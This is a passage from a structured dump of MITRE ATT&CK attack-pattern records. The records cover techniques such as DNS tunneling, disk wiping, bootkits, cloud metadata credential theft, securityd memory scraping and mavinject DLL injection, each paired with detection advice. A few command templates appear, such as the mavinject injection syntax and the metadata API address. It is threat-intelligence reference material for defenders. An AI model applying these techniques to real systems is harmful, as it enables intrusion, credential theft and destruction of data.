Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T16:57:45.044000Z" | "2021-04-15T03:49:13.409000Z" | DNS/Passive DNS | Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.
Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1596.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1596/001"
},
{
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "DNS Dumpster",
"url": "https://dnsdumpster.com/"
},
{
"description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Circl Passive DNS",
"url": "https://www.circl.lu/services/passive-dns/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-20T15:35:00.025000Z" | "2022-03-25T18:07:45.176000Z" | Application Exhaustion Flood | Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1499.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1499/003"
},
{
"description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
"external_id": null,
"source_name": "Arbor AnnualDoSreport Jan 2018",
"url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
},
{
"description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
"external_id": null,
"source_name": "Cisco DoSdetectNetflow",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.
In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace"
] | 1.2 |
attack-pattern | attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-11T14:13:42.916000Z" | "2024-04-13T14:47:31.204000Z" | Compromise Software Dependencies and Development Tools | Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)
Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "initial-access"
}
] | false | [
{
"description": null,
"external_id": "T1195.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1195/001"
},
{
"description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.",
"external_id": null,
"source_name": "Trendmicro NPM Compromise",
"url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T02:14:18.044000Z" | "2021-10-16T17:44:09.486000Z" | Digital Certificates | Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.
Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.
Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)
After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1588.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588/004"
},
{
"description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
"external_id": null,
"source_name": "DiginotarCompromise",
"url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
},
{
"description": "Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020.",
"external_id": null,
"source_name": "Let's Encrypt FAQ",
"url": "https://letsencrypt.org/docs/faq/"
},
{
"description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
"external_id": null,
"source_name": "Splunk Kovar Certificates 2017",
"url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
},
{
"description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.",
"external_id": null,
"source_name": "Recorded Future Beacon Certificates",
"url": "https://www.recordedfuture.com/cobalt-strike-servers/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)
Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.2 |
attack-pattern | attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T00:40:45.279000Z" | "2021-04-15T02:49:49.702000Z" | DNS Server | Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.
By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1583.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1583/002"
},
{
"description": "Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.",
"external_id": null,
"source_name": "Unit42 DNS Mar 2019",
"url": "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-20T22:02:20.372000Z" | "2023-04-20T18:16:41.942000Z" | Disk Wipe | Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)
On network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1561",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1561"
},
{
"description": "Cisco. (2022, August 16). erase - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.",
"external_id": null,
"source_name": "erase_cmd_cisco",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463"
},
{
"description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
"external_id": null,
"source_name": "Novetta Blockbuster Destructive Malware",
"url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
},
{
"description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
"external_id": null,
"source_name": "Microsoft Sysmon v6 May 2017",
"url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the <code>\\\\.\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 1.1 |
attack-pattern | attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-15T16:27:31.768000Z" | "2023-12-26T20:54:38.721000Z" | DNS | Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1071.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1071/004"
},
{
"description": "Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.",
"external_id": null,
"source_name": "Medium DnsTunneling",
"url": "https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"description": "Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.",
"external_id": null,
"source_name": "PAN DNS Tunneling",
"url": "https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)
Monitor for DNS traffic to/from known-bad or suspicious domains. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 1.2 |
attack-pattern | attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:47:46.619000Z" | "2023-03-21T13:56:27.910000Z" | Cloud Instance Metadata API | Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.
Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)
If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)
The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1552.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1552/005"
},
{
"description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.",
"external_id": null,
"source_name": "AWS Instance Metadata API",
"url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html"
},
{
"description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
"external_id": null,
"source_name": "RedLock Instance Metadata API 2018",
"url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse"
},
{
"description": "Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.",
"external_id": null,
"source_name": "Krebs Capital One August 2019",
"url": "https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor access to the Instance Metadata API and look for anomalous queries.
It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078). | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"IaaS"
] | 1.4 |
attack-pattern | attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-12T18:56:31.051000Z" | "2024-03-29T16:37:34.772000Z" | Securityd Memory | An adversary with root access may gather credentials by reading `securityd`’s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user’s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)
In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple’s `securityd` utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1555.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1555/002"
},
{
"description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
"external_id": null,
"source_name": "External to DA, the OS X Way",
"url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
},
{
"description": "Apple. (n.d.). Security Server and Security Agent. Retrieved March 29, 2024.",
"external_id": null,
"source_name": "Apple Dev SecurityD",
"url": "https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html"
},
{
"description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.",
"external_id": null,
"source_name": "OS X Keychain",
"url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain"
},
{
"description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
"external_id": null,
"source_name": "OSX Keydnap malware",
"url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS"
] | 1.2 |
attack-pattern | attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-08-06T13:10:12.916000Z" | "2023-01-06T12:41:08.579000Z" | Group Policy Discovery | Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
Adversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1615",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1615"
},
{
"description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
"external_id": null,
"source_name": "ADSecurity GPO Persistence 2016",
"url": "https://adsecurity.org/?p=2716"
},
{
"description": "Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.",
"external_id": null,
"source_name": "Microsoft gpresult",
"url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult"
},
{
"description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
"external_id": null,
"source_name": "Github PowerShell Empire",
"url": "https://github.com/PowerShellEmpire/Empire"
},
{
"description": "srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.",
"external_id": null,
"source_name": "TechNet Group Policy Basics",
"url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor for suspicious use of <code>gpresult</code>. Monitor for the use of PowerShell functions such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code> and processes spawning with command-line arguments containing <code>GPOLocalGroup</code>.
Monitor for abnormal LDAP queries with filters for <code>groupPolicyContainer</code> and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-12-19T21:05:38.123000Z" | "2023-03-30T21:01:47.417000Z" | Bootkit | Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)
The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1542.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1542/003"
},
{
"description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.",
"external_id": null,
"source_name": "Mandiant M Trends 2016",
"url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"
},
{
"description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
"external_id": null,
"source_name": "Lau 2011",
"url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:31.584000Z" | "2021-10-15T22:17:35.218000Z" | Data from Removable Media | Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.
Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1025",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1025"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-09-22T17:45:10.241000Z" | "2022-04-19T17:35:08.315000Z" | Mavinject | Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)
Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.
In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1218.013",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1218/013"
},
{
"description": "Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021.",
"external_id": null,
"source_name": "ATT Lazarus TTP Evolution",
"url": "https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution"
},
{
"description": "LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021.",
"external_id": null,
